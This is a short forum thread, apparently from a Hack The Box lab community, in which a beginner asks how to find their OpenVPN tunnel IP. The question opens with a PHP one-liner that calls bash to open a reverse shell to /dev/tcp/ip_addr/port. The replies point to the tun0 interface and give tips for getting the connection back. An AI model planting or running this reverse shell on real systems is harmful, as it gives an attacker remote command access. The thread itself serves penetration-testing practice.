Reverse Shell with OpenVPN IP (Noob question!)

edited April 2019 in VPN Connection

So, I am having a really hard time creating a reverse shell here.

How can one find his HTB VPN IP address?

The port is of my choice. What about ip_addr?

My reverse shell is this simple, one liner:

<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/ip_addr/port 0>&1'");



  • I would recommend using ip addr show command or ifconfig -a though ifconfig is deprecated and it's generally recommended to use "ip" command

    you will find interface tun0 there which is the OpenVPN interface with assigned IP

  • also would like to add some shells may not work and need to be tweeked depending on the environment your working on

    a good way to know if the box your attacking is able to communicate back at you is a ping. have that box ping u back it helps in trouble shooting and narrows down if the port is blocked, or firewall in the way . if u get a ping back u now know the reverse shell may need tweaking

    on some boxes i was unable to get a reverse shell via tcp so i switched the payload and got a connection back hope this helps enjoy your journey :D

    check out ippsec on youtube he has some really nice videos out and explains the process


  • if you're using kali...

    ifconfig tun0


Sign In to comment.